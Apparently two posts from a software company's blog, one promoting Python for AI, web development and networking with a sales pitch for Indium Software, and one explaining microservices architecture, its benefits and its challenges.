  1. The Simple Language: Python uses English keywords that make it easy to learn and use. It takes a modular approach with a high degree of code readability and is an interpreted language that does away with the need for a compiler to run it.
  2. Versatility: Its modular nature enables developers to create packages for different applications such as NumPy for working with numbers, matrices and vectors; SciPy for technical and engineering computations; Pandas for data manipulation and analysis; and Scikit-Learn for AI-related operations.
  3. Pseudocode: Python allows the use of pseudocode, an algorithm that does not conform to specific syntax rules, enabling the developer to focus on the query rather than the language. This simplistic and minimalistic feature facilitates dealing with common programming tasks easily.
  4. Open Source: Python is free and open source with a large community that has been instrumental in developing the language as well as third-party libraries. Developers can access pre-written code and standard libraries, further reducing the need for coding for some common features and increasing Python’s usefulness as a development tool.
  5. Python Tools: Python developers can also benefit from a large array of tools such as Tkinter–a GUI development tool, custom python interpreters and support, internet protocol, file formats, built-in functions, and modules, among others.

3 Reasons Why it is the Language of the Future

The ease and convenience make it a popular choice for developers today. But its future seems just as bright due to the following reasons:

Artificial Intelligence

Python rules the disruptive and futuristic world of digital transformation, especially Big Data, artificial intelligence and machine learning today. Be it speech recognition or data analysis, Python is the driving force behind AI’s success today, powering the Internet of Thingy devices as Python or Micropython. Its built-in libraries such as NumPy, Pandas, and SciPy empower data scientists with lots of functionalities they need for tasks such as data manipulation and data visualization. Using Python can speed up advanced calculations to move from hypothesis to data analysis quickly. Matplotlib is a rich library from Python, making it ideal for data manipulation and visualization.

Web Development

Python’s versatility makes it very ideal for web development as it can help you get started quickly and remain productive with every new function and feature. Python offers two tools, Flask for a minimalist, flexible framework, and Django for a fairly rigid structure that facilitates prototyping and getting up and running quickly.

Networking

Python programming language is popular for developing and implementing programs to configure routers and switches, facilitating networking and automation duties in a secure and cost-efficient manner.

The fact that Python is here to stay and travel with us in the future is evident from its use cases across industries. Right from NASA’s Workflow Automation System (WAS) developed using Python to Google’s APIs, report generation and other data related features, YouTube

video streaming, Disney’s scripting language for most of its animation-related tasks and production, Python is powering the next-gen applications. Facebook, Instagram, Netflix, Quora, and Spotify are among some of the other users of Python.

If you are interested in reducing your time to market for your digital transformation efforts, we at Indium Software can help you analyze the best-fit use of Python and get you up and running quickly.

Future-Proof Your Development with Python

Today, speed, effectiveness and efficiency are the three key pillars to success and growth. Python facilitates this by speeding up the development process and allowing for easy scaling and flexibility.

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Indium Software’s team of developers with experience and expertise in a variety of languages including Python can provide end-to-end solutions for your digitization needs. Our solutions go beyond languages and cover:

Thus, we integrate knowledge in Python with digital transformation to make you future-ready. To know more about Indium and how we can help you, contact us now:

Microservices Architecture – All you Need to Know

Posted on by Vaibhavi Tamizhkumaran

We have been designing systems and applications for several years now and getting better at it. Several innovations and best practices have been evolved over the years.

Microservices is one of those architectural trends that has emerged from the field of domain-driven architecture, platform and infrastructure automation, programming, and persistence.

Many businesses have started adopting the microservices architecture for the purpose of business enhancement through application/software performance.

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What are Microservices?

Microservices are an approach/architecture to software writing (coding). With the help of Microservices, systems are broken down into their tiniest elements making them independent of each other.

Instead of a conventional monolith approach to software, where everything is assembled into one piece, microservices are all portioned and work together to complete the exact same tasks.

Each one of these Individual components/elements or processes is a micro-service.

This approach to software development values these granules and the ability to share identical processes across different applications. It is a key component of optimizing the creation of software into a cloud-based model.

Why Microservices Architecture?

Using a microservice approach to application creation will increase durability and speed up the time to market. Here`s what to expect from a microservice.

  • Improved resilience: With microservices, the whole application is decentralized and decoupled to services that act as independent entities. Unlike a monolith, architecture where code failure affects more than one service or feature, there is a limited impact of microservice failure. And if many devices are taken down for repair, the users will not notice it.
  • Enhanced Scalability: Scalability is a core component of microservices. Since each service is a separate part, you can scale up a single feature or service without having to scale up the entire application. Business critical services may be distributed on several servers for improved availability and efficiency without compromising the performance of the other services.
  • Using the right tool for the right task: You do not have to get tangled up with a single vendor when it comes to microservices. You have the freedom to use the right tool to do the right job. Each service can use its own language, system or ancillary services and still being able to communicate easily with other services in your application.
  • Faster time to market: Since microservices work with loosely coupled services. There will not be a reason to rewrite the entire codebase to add or modify a feature. By developing applications in smaller increments that are independently testable and developable, there is faster time-to-market your applications and services.
  • Easier debugging: Microservices makes it simple to debug and evaluate applications. With smaller models going through a continuous development and testing process, the ability to produce error-free applications is greatly possible.

Challenges to Microservices Architecture

If a business is planning on shifting from a monolith to a microservice, the entire team of data engineers need to change. Organizational culture/changes are identified as complex challenges since each technical team will work on their own deployment order and will be responsible for a unique service with its own customer base.

These may not be great concerns for developers, but they will be crucial to the successful architecture of microservices. Beyond organizational culture, and processes, complexity and efficiency are two of the key challenges of microservices architecture.

Below are the categories of challenges that are faced while implementing microservices.

Building: you need to spend time identifying the dependencies between your serves. Be aware that due to these dependencies, completing one build could trigger a number of other builds.  There must also be consideration on the impact that microservices have on your data.

Versioning: when upgrading to new versions, bear in mind that you will be able to break down compatibility. You can also draw on conditional logic to handle this but its going to be unwieldy and ugly. Alternatively, you may provide several live versions for various customers, but this can be more complicated in maintenance and management.

Testing: integration testing, as well as end-to-end testing can become more complicated and more critical than ever before. Know that a failure in one part of the architecture might cause anything to fail a few hops away, depending on how you built the services to help each other.

Logging, Monitoring & debugging: Centralization of logs, views and bugs needs to be done which is challenging.

Deployment: This is also a challenge at least in the initial set-up. In order to make the deployment simpler, you need to invest in quite a lot of automation as and when the complexity of microservices gets overwhelming for human deployment.

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Wind-Up

From large businesses to start-ups, microservices has been on the runway to enhance application software performances. Some of the major businesses that have incorporated microservices architecture to their applications would include Netflix, Amazon, eBay, and many more.

Switching on to microservices architecture has granted more opportunities to those businesses in terms of lesser TCO & costs, greater customer experiences and enhanced delivery.